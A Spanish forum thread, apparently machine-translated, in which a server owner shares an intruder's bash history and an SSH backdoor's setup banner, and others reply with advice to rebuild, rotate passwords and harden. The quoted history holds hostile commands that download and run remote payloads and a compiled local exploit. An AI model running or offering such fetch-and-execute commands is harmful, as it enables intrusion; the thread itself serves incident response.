SSH Backdoor encontrado en VServer. ¿Qué hacer?

Ayer revisé mi historial de comandos en mi VServer. Encontré varias líneas sospechosas.

  195  wget aridan.hol.es/sniffer.tgz
  196  tar xvf sniffer.tgz
  197  ls -a
  198  rm -rf sniffer.tgz
  199  rm -rf .sniff/
  200  cd /dev/shm
  201  ls -a
  202  mkdir " . "
  203  ls -a
  204  cd " . "/
  205  wget aridan.hol.es/sniffer.tgz
  206  tar xvf ar
  207  tar zxvf ar
  208  tar xvf sniffer.tgz
  209  cd .sniff/
  210  ls -a
  211  ./setup
  212  ls -a
  213  cd /var/tmp
  214  ls a-
  215  ls -a
  216  cd sy
  217  cd systemd-private-a5e12501dbc746eabcda29463d441b9e-openvpn\@server.servi                                                                             ce-HJ201p/
  218  ls -a
  219  pw
  220  pwd
  221  ls -a
  222  cd tmp/
  223  ls -a
  224  cd / .
  225  cd /dev/shm
  226  ls -a
  227  cd " . "/
  228  ls -a
  229  cd sniffer.tgz
  230  cd ..
  231  ls -a
  232  cd " . "/
  233  rm -rf sniffer.tgz
  234  cd .sniff/
  235  ls -a
  236  cd /var/tmp
  237  nproc
  238  w
  239  wget draqusor.hi2.ro/x; chmod +x *; ./x
  240  wget http://t1fix.com/local/ubuntu-2015.c; gcc ubuntu-2015.c -o ubuntu-20                                                                             15; chmod +x *; ./ubuntu-2015;
  241  id
  242  cd
  243  last
  244  cat /etc/passwd
  245  cd /dev/s
  246  cd /dev/shm/
  247  ls -a
  248  cd " . "/
  249  ls -a
  250  cd .sniff/
  251  ls -a
  252  nano se
  253  nano setup
  254  nano error_log
  255  nano error_log.2
  256  cat error_log.2
  257  ls -a
  258  nproc
  259  cd /var/tmp
  260  ls aรถ-
  261  ls -a
  262  rm -rf u*
  263  rm -rf x
  264  mkdir cache
  265  cd cache
  266  wget datafresh.org/md.tgz
  267  tat xvf md.tgz
  268  tar xvf md.tgz
  269  cd m
  270  cd d
  271  cd md
  272  ./a 5.196
  273  cat /proc/cpuinfo
  274  ./a 5.196
  275  ps -x
  276  cd /

Especialmente el sniffer.tgz me sorprendió. Configuré una máquina virtual y descargué este archivo tgz. Comencé la configuración y me dio estas líneas:

-----------------------------------------------------------------------------------
     #OLDTEAM SSHD BACKDOOR v1.2 - OpenSSH 3.6p1
                                  PRIVATE VERSION
-----------------------------------------------------------------------------------


 CHECKING THIS SYSTEM

# GCC:                   [ FOUND ]
# G++:                   [ FOUND ]
# MAKE:                  [ FOUND ]
# OPENSSL DEVEL:         [ NOT FOUND ]

NOW TRYING TO INSTALL OPENSSL DEVEL

¿Alguien sabe cómo eliminar esto?

Esto es lo que debe hacer en todos los sistemas en los que ha tenido esto sniffer.tgz: Nuke Them From Orbit inmediatamente y comenzar de nuevo desde una instalación limpia. (Es decir, destruya los sistemas, reinstale clean, cargue datos de copias de seguridad limpias , suponiendo que tenga copias de seguridad que estén limpias y luego fortalezca los sistemas antes de volver a ponerlos en Internet).

Siempre que tenga malware o hackers ingresen a su sistema de esta manera, es hora de volver a analizar cómo está configurado su sistema y asegurarse de no repetir los mismos pasos con los que ingresaron. Pero, debido a que este puede no ser un sistema que tenga la capacidad de descartar y analizar forensemente, y dado que este puede ser su único servidor, es hora de destruir el sistema virtual y comenzar de cero (como dije anteriormente).

(Y esto se aplica a cualquier situación en la que obtenga malware en el sistema. A menos que tenga hardware de repuesto para reemplazar algo como esto para que pueda aislar y examinar forensemente el sistema violado, que generalmente la mayoría de los usuarios no tienen, no tiene más remedio que para bombardear el sistema y comenzar de nuevo.)

Sin analizar su servidor, realmente no puedo decir qué hizo mal, pero es probable que esta puerta trasera sea más profunda en el sistema que un simple 'programa' que se instaló. Y, dado que los malos ya instalaron una puerta trasera en su sistema, puede suponer que todas sus contraseñas ahora están violadas y ya no son seguras (ya sea para SSH, MySQL root o cualquier otro tipo de contraseña que NUNCA haya ingresado en este sistema informático). ¡Es hora de cambiar todas tus contraseñas!

Una vez que haya retrocedido en un entorno limpio, aquí hay algunos consejos básicos sobre los pasos de endurecimiento a tener en cuenta. Tenga en cuenta que debido a que esto hace que sea un tema mucho más amplio, realmente no puedo profundizar en los detalles aquí, pero definitivamente es hora de hacer algunos pasos más duros para proteger su sistema:

1. Active un cortafuegos y solo permita el acceso a los puertos que deben abrirse . ufwexiste para ser simple, así que usemos eso. sudo ufw enable. (La configuración ufwadecuada para su entorno es una historia diferente, y eso va más allá de los límites de esta pregunta).

2. Restrinja el acceso a SSH remoto . Esto no siempre es factible, pero lo ideal sería identificar las direcciones IP que son de su propiedad y específicamente incluirlas en la lista blanca en el firewall. (Si tiene una dirección IP residencial dinámica, omita este paso).

3. Bloquee el acceso SSH a su servidor y requiera el uso de claves SSH solo para la autenticación . De esta manera, los hackers no pueden atacar su servidor e intentar adivinar las contraseñas. Es mucho MUCHO más difícil adivinar la clave privada adecuada (porque tendrías que aplicar fuerza bruta a todas ellas), y esto ayuda a proteger contra los ataques de fuerza bruta.

4. Si está ejecutando un sitio web, asegúrese de bloquear los permisos para que las personas no puedan cargar / ejecutar cosas a su gusto . Hacer esto varía de un sitio a otro, por lo que no puedo darle más orientación aquí (es imposible hacerlo).

5. Además, si está ejecutando un sitio web con Joomla o Wordpress o similar, asegúrese de mantener el entorno actualizado y parcheado con las vulnerabilidades de seguridad de los proveedores de software .

6. Siempre que sea posible, configure, configure y use métodos de autenticación de dos factores (2FA) para las cosas con las que se autentica . Hay muchas soluciones para la autenticación de segundo factor para diferentes aplicaciones, y asegurar varias aplicaciones de esta manera está más allá del alcance de esta publicación, por lo que debe investigar sobre este punto antes de elegir una solución.

7. Si absolutamente debe usar contraseñas en su configuración, use un administrador de contraseñas decente (las basadas en la nube no son necesariamente buenas opciones) y use contraseñas de larga duración (más de 25 caracteres), aleatorias e inmemorables que sean diferentes para cada elemento individual que se está utilizando protegido por contraseñas (de ahí la recomendación para el administrador de contraseñas). (Sin embargo, debe considerar NO utilizar contraseñas siempre que sea posible (como para la autenticación SSH) y usar 2FA cuando sea posible).

Si hay una puerta trasera, hay 3 más. Aísle, haga una copia de seguridad de los datos, elimínelos y restaure los datos cuidadosamente. Tenga cuidado con los datos de cron, php o incluso mysql, todos podrían verse comprometidos. Recuerde en este punto que tienen todas sus contraseñas y hashes, por lo que si otras máquinas configuradas de manera similar probablemente también las piratearon ... La parte difícil es averiguar cómo empezaron. Si tiene WordPress busca malware en complementos / temas, etc. Compruebe sus permisos, es posible que tenga 777 en todas partes. No hay una respuesta simple, estás buscando mucho trabajo.